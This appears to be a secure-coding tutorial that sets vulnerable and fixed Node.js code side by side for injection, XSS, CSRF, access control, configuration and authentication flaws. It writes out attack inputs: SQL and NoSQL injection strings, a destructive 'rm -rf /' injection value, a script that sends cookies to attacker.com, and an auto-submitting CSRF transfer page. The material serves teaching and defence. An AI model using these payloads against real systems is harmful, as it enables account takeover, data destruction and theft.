Common Security Vulnerabilities

Vulnerable Code Example

// Dangerous SQL query construction
const username = req.body.username;
const query = "SELECT * FROM users WHERE username = '" + username + "'";
db.query(query, (err, results) => {
    // Process results
});
                

If a user inputs admin' --, the query becomes:

SELECT * FROM users WHERE username = 'admin' --'

The -- comments out the rest of the query, potentially allowing unauthorized access.

Secure Code Example

// Using parameterized queries
const username = req.body.username;
const query = "SELECT * FROM users WHERE username = ?";
db.query(query, [username], (err, results) => {
    // Process results safely
});
                

Vulnerable MongoDB Code

// Dangerous NoSQL query
const username = req.body.username;
const password = req.body.password;

db.collection('users').find({
    username: username,
    password: password
});
                

If an attacker sends JSON with {"username": {"$ne": null}, "password": {"$ne": null}}, they could bypass authentication by asking the database to find users where username and password are not null (which matches all users).

Secure NoSQL Code

// Sanitizing input for NoSQL
const username = String(req.body.username);
const password = String(req.body.password);

db.collection('users').find({
    username: username,
    password: hashedPassword // Always hash passwords!
});
                

Vulnerable Code

// Node.js command injection vulnerability
const { exec } = require('child_process');
const userInput = req.query.filename;

exec('ls ' + userInput, (error, stdout, stderr) => {
    // Process output
});
                

If a user inputs ; rm -rf /, they could execute a destructive command on your server.

Secure Code

// Using safer alternatives
const { execFile } = require('child_process');
const userInput = req.query.filename;

// Validate input extensively before using
if (!/^[a-zA-Z0-9_\-\.]+$/.test(userInput)) {
    return res.status(400).send('Invalid filename');
}

execFile('ls', [userInput], (error, stdout, stderr) => {
    // Process output safely
});
                

Vulnerable Code

// Directly inserting user comment into HTML
app.post('/comments', (req, res) => {
    const comment = req.body.comment;
    db.saveComment(comment);
});

// Rendering comments
app.get('/post/:id', (req, res) => {
    const comments = db.getComments(req.params.id);
    let html = '';
    comments.forEach(comment => {
        html += `<div class="comment">${comment.text}</div>`;
    });
    res.send(html);
});
                

If a user posts a comment with <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>, everyone who views that page will have their cookies stolen.

Secure Code

// Using a library to escape HTML
const escapeHtml = require('escape-html');

app.post('/comments', (req, res) => {
    const comment = escapeHtml(req.body.comment);
    db.saveComment(comment);
});

// Or with React's built-in protection (automatically escapes)
function CommentList({ comments }) {
    return (
        <div>
            {comments.map(comment => (
                <div className="comment" key={comment.id}>
                    {comment.text}
                </div>
            ))}
        </div>
    );
}
                

Vulnerable Bank Transfer Form

<form action="/transfer" method="POST">
    <input type="text" name="to" placeholder="Recipient">
    <input type="number" name="amount" placeholder="Amount">
    <button type="submit">Transfer</button>
</form>
                

Malicious CSRF Exploit

// Malicious website HTML
<h1>Win a Free Prize!</h1>
<img src="cute-cat.jpg">
<!-- Hidden form that submits automatically -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="1000">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
                

Secure Form with CSRF Token

// Server-side: Generate and store CSRF token in session
app.get('/transfer-form', (req, res) => {
    const csrfToken = crypto.randomBytes(64).toString('hex');
    req.session.csrfToken = csrfToken;
    res.render('transfer', { csrfToken });
});

// Rendered form with token
<form action="/transfer" method="POST">
    <input type="hidden" name="_csrf" value="{{csrfToken}}">
    <input type="text" name="to" placeholder="Recipient">
    <input type="number" name="amount" placeholder="Amount">
    <button type="submit">Transfer</button>
</form>

// Server-side: Validate CSRF token on form submission
app.post('/transfer', (req, res) => {
    if (req.body._csrf !== req.session.csrfToken) {
        return res.status(403).send('CSRF token validation failed');
    }
    // Process transfer safely
});
                

Vulnerable Endpoint

// Insecure API endpoint
app.get('/api/users/:userId/documents/:docId', (req, res) => {
    const docId = req.params.docId;
    const document = db.getDocument(docId);
    res.json(document);
});
                

A malicious user could simply change the docId parameter to access other users' documents.

Secure Endpoint with Authorization

// Secure API endpoint with authorization check
app.get('/api/users/:userId/documents/:docId', (req, res) => {
    const userId = req.params.userId;
    const docId = req.params.docId;
    
    // Verify the current user owns this document
    if (req.user.id !== userId) {
        return res.status(403).json({ error: 'Access denied' });
    }
    
    const document = db.getDocument(docId);
    
    // Double-check ownership at the data level
    if (document.ownerId !== req.user.id) {
        return res.status(403).json({ error: 'Access denied' });
    }
    
    res.json(document);
});
                

Common Misconfigurations

• Verbose Error Messages:

  
  // Leaking stack traces to users
  app.use((err, req, res, next) => {
      res.status(500).send(`Error: ${err.stack}`);
  });
                          

• Directory Listing Enabled:

  
  // Express static serving with directory listings
  app.use(express.static('public', { indexes: true }));
                          

• Default Credentials:

  
  // Hardcoded default credentials
  const dbConfig = {
      user: 'admin',
      password: 'admin',
      database: 'production'
  };
                          

Secure Configuration Practices

// Use environment variables for configuration
const dbConfig = {
    user: process.env.DB_USER,
    password: process.env.DB_PASSWORD,
    database: process.env.DB_NAME
};

// Production-appropriate error handling
app.use((err, req, res, next) => {
    console.error(err.stack);  // Log full error for developers
    res.status(500).send('Something went wrong'); // User-friendly message
});

// Disable directory listing
app.use(express.static('public', { indexes: false }));

// Set security headers
app.use(helmet());  // Helmet sets various HTTP headers
                

Insecure Data Handling

// Storing plaintext passwords
const registerUser = (email, password) => {
    db.query('INSERT INTO users (email, password) VALUES (?, ?)', 
        [email, password]);
};

// Logging sensitive data
app.post('/payment', (req, res) => {
    console.log('Processing payment:', req.body);
    // req.body might contain credit card details
});

// Insecure transmission
const login = (email, password) => {
    // No HTTPS enforced
    $.ajax({
        url: 'http://example.com/login',
        data: { email, password }
    });
};
                

Secure Data Handling

// Securely hashing passwords
const bcrypt = require('bcrypt');

const registerUser = async (email, password) => {
    const saltRounds = 12;
    const hashedPassword = await bcrypt.hash(password, saltRounds);
    db.query('INSERT INTO users (email, password) VALUES (?, ?)', 
        [email, hashedPassword]);
};

// Minimal logging
app.post('/payment', (req, res) => {
    const { cardNumber, ...safeData } = req.body;
    console.log('Processing payment:', 
        { ...safeData, cardNumber: '****' + cardNumber.slice(-4) });
});

// Force HTTPS
const express = require('express');
const app = express();

// Redirect HTTP to HTTPS
app.use((req, res, next) => {
    if (!req.secure && process.env.NODE_ENV === 'production') {
        return res.redirect('https://' + req.headers.host + req.url);
    }
    next();
});
                

Vulnerable Authentication Practices

// Weak password requirements
const isValidPassword = (password) => {
    return password.length >= 6;
};

// Lack of brute force protection
app.post('/login', (req, res) => {
    const { username, password } = req.body;
    
    db.getUser(username, (err, user) => {
        if (user && user.password === password) {
            // Create session, log user in
        } else {
            res.status(401).send('Invalid credentials');
        }
    });
});

// Insecure session management
app.get('/dashboard', (req, res) => {
    const sessionId = req.cookies.sessionId;
    // No session expiration or rotation
    // No validation of session integrity
});
                

Secure Authentication Practices

// Strong password policy
const isValidPassword = (password) => {
    // At least 8 chars, require uppercase, lowercase, number, and symbol
    return /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/.test(password);
};

// Brute force protection with rate limiting
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15 minutes
    max: 5, // 5 requests per windowMs
    message: 'Too many login attempts, please try again later'
});

app.post('/login', loginLimiter, (req, res) => {
    const { username, password } = req.body;
    
    db.getUser(username, async (err, user) => {
        if (user && await bcrypt.compare(password, user.hashedPassword)) {
            // Create secure session
        } else {
            // Use same response time regardless of success/failure
            // to prevent timing attacks
            await bcrypt.compare('dummy', '$2b$10$dummyhashfordummypassword');
            res.status(401).send('Invalid credentials');
        }
    });
});

// Secure session management
const session = require('express-session');

app.use(session({
    secret: process.env.SESSION_SECRET,
    name: 'sessionId',     // Don't use default name
    cookie: {
        httpOnly: true,    // Prevent JavaScript access
        secure: true,      // HTTPS only
        sameSite: 'strict',// Prevent CSRF
        maxAge: 3600000    // 1 hour expiration
    },
    resave: false,
    saveUninitialized: false
}));

// Session regeneration on privilege level change
app.post('/login', (req, res) => {
    // After authentication
    req.session.regenerate((err) => {
        // New session created
        req.session.userId = user.id;
    });
});